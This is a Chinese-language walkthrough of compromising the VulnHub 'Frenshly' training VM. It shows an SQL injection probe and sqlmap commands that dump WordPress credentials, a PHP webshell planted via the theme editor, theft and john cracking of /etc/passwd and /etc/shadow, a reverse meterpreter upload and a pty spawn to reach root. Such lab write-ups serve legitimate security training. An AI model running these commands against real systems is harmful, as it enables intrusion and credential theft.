VulnHub是国外的一个靶场平台,环境是各种各样的虚拟机镜像文件,比较适合做渗透测试的练习,网址:https://www.vulnhub.com/. 本次渗透环境是Frenshly.

The goal of this challenge is to break into the machine via the web and find the secret hidden in a sensitive file. If you can find the secret, send me an email for verification. :)
There are a couple of different ways that you can go with this one. Good luck!
Simply download and import the OVA file into virtualbox!

VulnHub note: You may have issues when importing to VMware. If this is the case. extract the HDD from the OVA file (using something like 7zip), and attach to a new VM. Please see the following guide: https://jkad.github.io/blog/2015/04/12/how-to-import-the-top-hat-sec-vms-into-vmware/.

Quick scan

nmap -T4 -F 192.168.1.104

结果:

80端口有一张图片:

在8080端口找到主站:http://192.168.1.104:8080/wordpress/

是wordpress系统

针对wordpress进行扫描：

wpscan --url http://192.168.1.104:8080/wordpress/

结果:

扫描得到了wordpress版本、插件和存在的漏洞等信息,对以上存在sql注入漏洞的插件进行了测试,但都没有成功

扫描用户名：

结果:

扫描密码：

没有得到密码

御剑扫描http://192.168.1.104/发现phpmyadmin,login.php

经过测试,phpmyadmin无法登陆

对login.php

输入admin' or sleep(10)# ,页面回显明显停顿
存在注入,使用sqlmap：

sqlmap.py -u "http://192.168.1.104/login.php" --forms

未找到注入点，调高等级：

sqlmap.py -u "http://192.168.1.104/login.php" --forms --level=5 --risk=3

成功发现注入点:

依次使用命令：

sqlmap.py -u "http://192.168.1.104/login.php" --forms --dbs

sqlmap.py -u "http://192.168.1.104/login.php" --forms --tables -D "wordpress8080"

sqlmap.py -u "http://192.168.1.104/login.php" --forms --tables -D "wordpress8080"

sqlmap.py -u "http://192.168.1.104/login.php" --forms --columns -T "users" -D "wordpress8080"

sqlmap.py -u "http://192.168.1.104/login.php" --forms --dump -C "username,password" -T "users" -D "wordpress8080"

获得wordpress的账号密码:

登陆wordpress的后台后,外观-编辑模板，随便找一个php文件写入一句话木马,然后菜刀连接：


菜刀上打开虚拟终端:

当前非root用户
查看/etc/passwd文件：

文件中存在提示，估计是要破解密码
下载/etc/passwd和/etc/shadow,在kali中:

unshadow passwd shadow > hashes.txt

将SuperSecretPassword也写入/usr/share/john/password.lst中,然后：

john hashes.txt

发现root用户密码就是SuperSecretPassword

msf中生成反弹meterpreter：

菜刀上传frenshly.php至目标,然后配置msf监听,收到反弹meterpreter后,输入shell命令进入shell控制台，输入"su - root"后提示必须在终端运行,于是输入python -c 'import pty;pty.spawn("/bin/bash")'进入终端完成提权.如下：

[招生]科锐逆向工程师培训(2024年11月15日实地，远程教学同时开班, 第51期)